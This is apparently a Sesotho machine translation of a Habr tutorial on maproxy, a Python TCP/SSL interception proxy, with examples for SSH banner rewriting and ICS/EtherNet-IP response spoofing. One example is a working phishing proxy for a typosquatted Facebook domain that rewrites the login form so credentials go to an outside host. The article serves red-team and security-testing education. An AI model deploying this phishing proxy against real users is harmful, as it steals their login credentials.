Phetolelo ea sengoloa e lokisitsoe bosiung ba pele thupelo e qala
tlhaloso
Mefuta e fapaneng ea liteko tsa ts'ireletso, ho tloha litekong tse tloaelehileng tsa ho kenella le ts'ebetso ea Sehlopha se Sefubelu ho ea ho ho qhekella lisebelisoa tsa IoT / ICS le SCADA, li kenyelletsa ho sebetsa le li-protocol tsa marang-rang a binary, ke hore, ha e le hantle ho thibela le ho fetola data ea marang-rang pakeng tsa moreki le sepheo. Ho tsuba sephethephethe sa marang-rang ha se mosebetsi o boima kaha re na le lisebelisoa tse kang Wireshark, Tcpdump kapa Scapy, empa phetoho e bonahala e le mosebetsi o boima haholo kaha re tla hloka ho ba le mofuta o itseng oa sebopeho ho bala data ea marang-rang, ho e sefa, ho fetola. eona hang-hang 'me u e khutlisetse ho motho eo u e batlang ka nako ea nnete. Ho feta moo, e ka ba ntho e ntle haeba sesebelisoa se joalo se ka sebetsa ka bohona ka likhokahanyo tse ngata tse bapileng 'me sa e-ba bonolo ho sebelisa mangolo.
Ka letsatsi le leng ke ile ka fumana sesebelisoa se bitsoang
, ka potlako litokomane li ile tsa hlakisa ho 'na hore maproxy
- feela seo ke se hlokang. Ena ke projeke ea TCP e bonolo, e feto-fetohang le e ka lokisoang habonolo. Ke lekile sesebelisoa sena lits'ebetsong tse 'maloa tse rarahaneng, ho kenyeletsoa lisebelisoa tsa ICS (tse hlahisang lipakete tse ngata) ho bona hore na li ka sebetsana le likhokahano tse ngata tse tšoanang, mme sesebelisoa se sebelitse hantle.
Sengoliloeng sena se tla u tsebisa ho sebetsana le data ea marang-rang ka fofa u sebelisa maproxy
.
tjhebokakaretso
Sesebelisoa maproxy
e ipapisitse le Tornado, moralo oa marang-rang o tsebahalang le o holileng tsebong oa Python.
Ka kakaretso, e ka sebetsa ka mekhoa e mengata:
TCP:TCP
- likhokahano tsa TCP tse sa ngolisoang;TCP:SSL
иSSL:TCP
- ka encryption ea tsela e le 'ngoe;SSL:SSL
- encryption ea litsela tse peli.
E tla e le laebrari. Ho qala ka potlako, o ka sebelisa lifaele tsa mohlala tse bonts'ang tse ka sehloohong
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Taba ea 1 - moemeli ea bonolo oa bidirectional
Ho ipapisitsoe le tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
ke default ProxyServer()
e nka likhang tse peli - sebaka sa khokahano le boema-kepe ba sepheo. server.listen()
e nka khang e le 'ngoe - koung ea ho mamela khokahano e kenang.
Ho etsa script:
# python tcp2tcp.py
Bakeng sa ho etsa tlhahlobo, re tla hokela ho seva sa SSH sa lehae ka sengoloa sa rona sa proxy, se mamelang 2222/tcp
boemakepe mme e hokahana le boemakepe bo tlwaelehileng 22/tcp
Li-server tsa SSH:
Banner e amohelehang e u tsebisa hore mohlala oa rona oa mongolo o atlehile ho ba moemeli oa sephethephethe sa marang-rang.
Taba ea 2 - phetoho ea data
Script e 'ngoe ea demo logging_proxy.py
e loketseng ho sebelisana le data ea marang-rang. Maikutlo a faeleng a hlalosa mekhoa ea sehlopha eo u ka e fetolang ho fihlela sepheo sa hau:
Ntho e khahlisang haholo ke ena:
on_c2p_done_read
- ho thibela data ho tloha ho moreki ho ea ho seva;on_p2s_done_read
- kgutlisitsoe morao.
Ha re leke ho fetola banner ea SSH eo seva e e khutlisetsang ho moreki:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Kenya script:
Joalokaha u bona, moreki o ile a khelosoa hobane lebitso la seva sa SSH bakeng sa hae le fetotsoe ho ba «DumnySSH»
.
Taba ea 3 - leqephe le bonolo la phishing web page
Ho na le mekhoa e sa feleng ea ho sebelisa sesebelisoa sena. Lekhetlong lena a re tsepamiseng maikutlo ho hong ho sebetsang haholoanyane ho tsoa lehlakoreng la ts'ebetso ea Red Team. Ha re etsiseng leqephe la ho fihla m.facebook.com
'me u sebelise sebaka se ikhethileng se nang le ho thaepa ka boomo, mohlala, m.facebok.com
. Bakeng sa merero ea lipontšo, ha re nke feela hore domain name e ngolisitsoe ke rona.
Re tlo theha khokahano ea marang-rang e sa ngolisoang le moemeli oa rona oa liphofu le SSL Stream ho seva ea Facebook (31.13.81.36
). Ho etsa hore mohlala ona o sebetse, re hloka ho nkela hlooho ea moamoheli oa HTTP sebaka ebe re kenya lebitso la moamoheli le nepahetseng, hape re tla tima khatello ea karabelo e le hore re ka fihlella litaba habonolo. Qetellong re tla nkela foromo ea HTML sebaka e le hore mangolo a ho kena a romelloe ho rona ho fapana le li-server tsa Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/st/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Qetellong:
Joalokaha u bona, re atlehile ho fetola sebaka sa pele.
Taba ea 4 - Porting Ethernet / IP
Ke ntse ke sebetsana le lisebelisoa tsa indasteri le software (ICS/SCADA) ka nako e telele, joalo ka balaoli ba programmable (PLC), li-module tsa I/O, li-drive, li-relay, maemo a mananeo a lere le tse ling tse ngata. Nyeoe ena ke ea ba ratang lintho tsa indasteri. Ho qhekella litharollo tse joalo ho kenyelletsa ho bapala ka mafolofolo le liprothokholo tsa marang-rang. Mohlala o latelang, ke rata ho bonts'a hore na u ka fetola sephethephethe sa marang-rang sa ICS / SCADA joang.
Bakeng sa sena o tla hloka tse latelang:
- Netweke sniffer, mohlala, Wireshark;
- Ethernet / IP kapa sesebelisoa sa SIP feela, u ka se fumana u sebelisa tšebeletso ea Shodan;
- Script ea rona e thehiloe ho
maproxy
.
Taba ea pele, a re shebeng hore na karabelo e tloaelehileng ea boitsebahatso ho tsoa ho CIP (Common Industrial Protocol) e shebahala joang:
Ho tsebahatsa sesebelisoa ho finyelloa ho sebelisoa protocol ea Ethernet/IP, e leng mofuta o ntlafalitsoeng oa protocol ea Ethernet ea indasteri e koahelang liprothokholo tsa taolo joalo ka CIP. Re tla fetola lebitso la ID le totobalitsoeng le hlahang skrineng "NI-IndComm bakeng sa Ethernet" sebelisa proxy script ea rona. Re ka sebelisa mongolo hape logging_proxy.py
'me ka ho tšoanang fetola mokhoa oa sehlopha on_p2s_done_read
, hobane re batla hore lebitso le fapaneng la boitsebiso le bonahale ho moreki.
Khoutu:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Ha e le hantle, re ile ra kopa boitsebiso ba lisebelisoa habeli, karabo ea bobeli e ne e le ea pele, 'me ea pele e fetotsoe ka fofa.
Le ho qetela
Ka maikutlo a ka maproxy
Sesebelisoa se bonolo le se bonolo, se ngotsoeng hape ka Python, kahoo ke lumela hore le uena u ka rua molemo ka ho se sebelisa. Ha e le hantle, ho na le lisebelisoa tse rarahaneng bakeng sa ho sebetsana le ho fetola lintlha tsa marang-rang, empa li boetse li hloka tlhokomelo e eketsehileng 'me hangata li bōptjoa bakeng sa nyeoe e itseng ea tšebeliso, mohlala. maproxy
u ka potlakela ho kenya ts'ebetsong maikutlo a hau bakeng sa ho thibela data ea marang-rang, kaha mohlala oa mangolo o hlakile haholo.
Source: www.habr.com